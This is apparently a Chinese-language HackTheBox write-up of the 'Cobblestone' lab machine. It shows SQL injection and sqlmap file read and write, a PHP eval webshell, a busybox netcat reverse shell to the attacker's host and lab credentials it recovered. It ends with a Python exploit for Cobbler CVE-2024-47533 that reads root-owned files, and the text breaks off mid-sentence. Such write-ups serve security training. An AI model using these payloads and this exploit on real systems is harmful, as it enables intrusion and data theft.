Season8 - Cobblestone

https://app.hackthebox.com/machines/Cobblestone | Linux | Insane

Recon

PortScan

➜  Cobblestone nmap -sT -min-rate 5000 -p- 10.10.11.81
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 10:31 CST
Nmap scan report for 10.10.11.81
Host is up (0.069s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 24.61 seconds

➜  Cobblestone nmap -sT -A -p 22,80 10.10.11.81       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 10:34 CST
Nmap scan report for 10.10.11.81
Host is up (0.065s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   58.41 ms xx.xx.xx.1
2   58.48 ms 10.10.11.81

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds

枚举

80 端口

有三个功能，皮肤数据库，vote 投票，Deploy 服务器

并且皮肤数据库和投票的用户是分开的，两边都要重新注册

然后这两个功能登录进去后，都有提交 URL 的功能

Web

枚举

首先测试皮肤数据库，我们提交 Kali 的服务器地址，看它会不会进行访问

投票服务器也是同理

一会后皮肤服务器会访问链接

但是我们指定了文件后却不会对我们进行访问，甚至 png 后缀也是不可以

SQL 注入

另外在 vote 服务器中，提交 URL 后会回显我们的 URL ，我们对其测试SQL 注入

url=http://xx.xx.xx.8'+and+'aaa'='aaa
// 会不一样
url=http://xx.xx.xx.8'+or+'aaa'='aaa

回显：

存在 SQL 注入，我们直接上SQLmap

扒拉数据

current user: 'voteuser@localhost'
current database: 'vote'
+----+----------------+--------------------------------------------------------------+
| id | username       | password                                                     |
+----+----------------+--------------------------------------------------------------+
| 1  | admin          | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 |
| 10 | test           | $2y$10$lDnE8SLH.dBNTvl7.crkzetQWMCI8ShpwefnjksV5brh4lCKAyMey |
| 11 | Ghost          | $2y$10$De3wkMndB798C/pfFSqSMu5ZE3rBFby/7uOO.5Qcl9N1SYxStlLuy |
| 12 | hello          | $2y$10$BgtfoW4Y/hz1fiDy4R9dL.07zWdNH3QZIiJkIjbSF6BJeq9bz8Kqe |
| 13 | 0xseclab       | $2y$10$eNN.S4LTNVqa8lYVO8EP.eTMYFx.swPixZKWB5YWnj3hbP9YdNAoG |
| 14 | alex           | $2y$10$5IZz3dP0FQzp2wJJf26zp.4d2Aqw9mdpVnDKXgWNguDVNkw2rSLhe |
| 15 | afewwaefaewf   | $2y$10$nJDo/FmIbyyloSRY0wHWqehn1CVuupONk3V/Qk6FTHp0380Vvwgeq |
| 16 | afewwaefaewfs  | $2y$10$y1uiBLm/l/ASLGu/LcMqU.D6WBPsjmw452HuUjsfksrqjY0YhJlMS |
| 17 | awefafweawfe   | $2y$10$uZaaxRGnmW2y8/S9J6YdsuOAkx2bsB6gA/69tA8RhZ0l9lO.j6BxK |
| 18 | awawkwakawkawk | $2y$10$P9jU6b2sm8j1aBFQNrA2PeDPKT4VYepf8H5gIRs.VC0CW64JMtooq |
| 19 | sunset         | $2y$10$mcLaZm590V7BQDjdANvSPetWXAAOAAnSDMXzepnwnPNLA8tnbhTZm |
| 20 | s              | $2y$10$vQBH6C8uLkzowxJeA.Hgb.EbBaQx.Gsh74gkpvNC0mKT6pSPK3C.K |
| 21 | eric           | $2y$10$V/UGVlGl7GxjLb/bv2wmquSoIntDHFktGb9OUyDz76OO4tcqjb5um |
+----+----------------+--------------------------------------------------------------+

破解 admin 密码，无结果

可以通过通过注入读文件

sqlmap -r packet -batch --file-read=/etc/passwd

存在 john 用户和 cobble 用户

➜  Cobblestone cat /root/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd        
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash

尝试写文件

sqlmap -r packet -batch --file-write=./test.php --file-dest=/var/www/html/test.php

成功写入

写入 WebShell

// test.php
<?php eval(system($_POST['x']));?>
// 上传
sqlmap -r packet -batch --file-write=./test.php --file-dest=/var/www/html/test.php

进行反弹 shell

很奇怪，这里只能执行whoami 以及 ls 一些命令，并且我们查看 ls .. 时也会无回显，但是 ls . 却可以，怀疑是 chroot 或者 rbash

并且我们上传到的是 cobblestone.htb 而不是 vote.cobblestone.htb ，可以尝试一下上传到 vote

sqlmap -r packet -batch --file-write=./test.php --file-dest=/var/www/vote/test.php

在 vote 中可以访问上层目录

反弹 shell

busybox+nc+xx.xx.xx.8+1234+-e+/bin/bash

读取数据库配置文件

www-data@cobblestone:/var/www/html/db$ cat connection.php                
<?php

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>

爆一下库

+----+-----------------------+-----------------------+-----------------------+-----------------------------+-------+------------------------------------------------------------------+--------------+
| id | Username              | FirstName             | LastName              | Email                       | Role  | Password                                                         | register_ip  |
+----+-----------------------+-----------------------+-----------------------+-----------------------------+-------+------------------------------------------------------------------+--------------+
|  1 | admin                 | admin                 | admin                 | admin@cobblestone.htb       | admin | f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 | *            |
|  2 | cobble                | cobble                | stone                 | cobble@cobblestone.htb      | admin | 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d | *            |
|  3 | test                  | test                  | test                  | test@testl.com              | user  | 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 | xx.xx.xx.107 |
|  4 | Ghost                 | ghost                 | ghost                 | test@test.com               | user  | cdc95c699c75297079c1630fabd6f9a98f1c33b2371c6203b901801ce9a2c09f | xx.xx.xx.106 |
|  5 | alex                  | alex                  | alex12345             | alex@htb.com                | user  | ef797c8118f02dfb649607dd5d3f8c7623048c9c063d532cc95c5ed7a898a64f | 10.10.16.58  |
|  6 | afewfwaeoijwaeffewoij | afewfwaeoijwaeffewoij | afewfwaeoijwaeffewoij | afewfwaeoijwaeffewoij@m.com | user  | 65b4cc3f603bb04224e9c23f28964731b47124f863bed59d38083e84d6dbb450 | xx.xx.xx.2   |
|  7 | sunset                | sunset                | sunset                | sunset@q.com                | user  | c09e912cfa0a8c4d82b871c1a25ab367420597c29b12833d0dc1d3ff8ef4a09a | xx.xx.xx.8   |
+----+-----------------------+-----------------------+-----------------------+-----------------------------+-------+------------------------------------------------------------------+--------------+

有 cobble 用户，破解一下其密码

得到密码 iluvdannymorethanyouknow

成功登录 SSH

并且能读取 user.txt

cobble@cobblestone:~$ cat user.txt                                                                                                                                                             
f86xxxxxxxxxxxxxxxxxxxxxxxxxx

权限提升

rbash

能注意到我们当前 shell 是 rbash

cobble@cobblestone:~$ sudo -l                                                                                                                                                                  
-rbash: sudo: command not found

尝试了一下并无法逃逸，回到 www-data，因为它是正常 bash

然后在 Home 目录能找到 chroot_jail 并且发现 cobble 只能用下边几个命令

www-data@cobblestone:/home/chroot_jail$ ls
bin  dev  etc  home  lib  lib64  proc
www-data@cobblestone:/home/chroot_jail$ cd bin/
www-data@cobblestone:/home/chroot_jail/bin$ ls
cat  grep  ls  ps  rbash  ss

可能还是兔子洞，没找任何方法可以跳出 rbash

Cobbler

我们回到 www-data 进行操作

查看正在监听端口

www-data@cobblestone:/var/www/vote$ ss -tulpn
Netid              State               Recv-Q              Send-Q                           Local Address:Port                              Peer Address:Port              Process              
udp                UNCONN              0                   0                                      0.0.0.0:69                                     0.0.0.0:*                                      
udp                UNCONN              0                   0                                         [::]:69                                        [::]:*                                      
tcp                LISTEN              0                   511                                    0.0.0.0:80                                     0.0.0.0:*                                      
tcp                LISTEN              0                   128                                    0.0.0.0:22                                     0.0.0.0:*                                      
tcp                LISTEN              0                   5                                    127.0.0.1:25151                                  0.0.0.0:*                                      
tcp                LISTEN              0                   80                                   127.0.0.1:3306                                   0.0.0.0:*                                      
tcp                LISTEN              0                   128                                       [::]:22                                        [::]:*

发现本地还开启着 25151 端口，经过查阅，能发现是 cobbler 的 RPC 端口

查阅 cobbler 漏洞，能找到 CVE-2024-47533

https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h

可以利用：

www-data@cobblestone:/tmp$ cat /etc/cobbler/version
[cobbler]
gitdate = ?
gitstamp = ?
builddate = Mon Sep 30 10:40:50 2024
version = 3.3.6
version_tuple = [3, 3, 6]

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'http', 'host': '127.0.0.1', 'port': '25151', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

print(conn.get_distros())
print(conn.get_profiles())
print(conn.get_systems())
print(conn.get_images())
print(conn.get_repos())

可以成功登录

www-data@cobblestone:/tmp$ python3 test.py
Login success!

现在的思路应该是通过 cobbler 的 RPC 接口进行利用

https://github.com/cobbler/cobbler/wiki/XMLRPC-API

可以通过 RPC API 创建新实例

通过恶意调用方法可以造成任意文件读取漏洞

前面是都是正常的配置，主要的配置是倒数第四和第二行

import xmlrpc.client

# 任意
KERNEL = "/boot/vmlinuz-6.1.0-37-amd64"
INITRD = "/boot/initrd.img-6.1.0-37-amd64"
TARGET = "/root/root.txt"
NAME   = "pwnsys"
DEST   = "/leak"

# 利用 CVE-2024-47533
srv = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/", allow_none=True)
tok = srv.login("", -1)

# 创建新实例
# 设置参数（随意）
did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "kernel", KERNEL, tok)
srv.modify_distro(did, "initrd", INITRD, tok)
srv.save_distro(did, tok)

pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)

sid = srv.new_system(tok)
srv.modify_system(sid, "name", NAME, tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "template_files", {TARGET: DEST}, tok)
srv.save_system(sid, tok)
print(srv.get_template_file_for_system("pwnsys","/leak"))
srv.sync(tok)

最后利用的接口是：

HackTheBox - Season8 - Cobblestone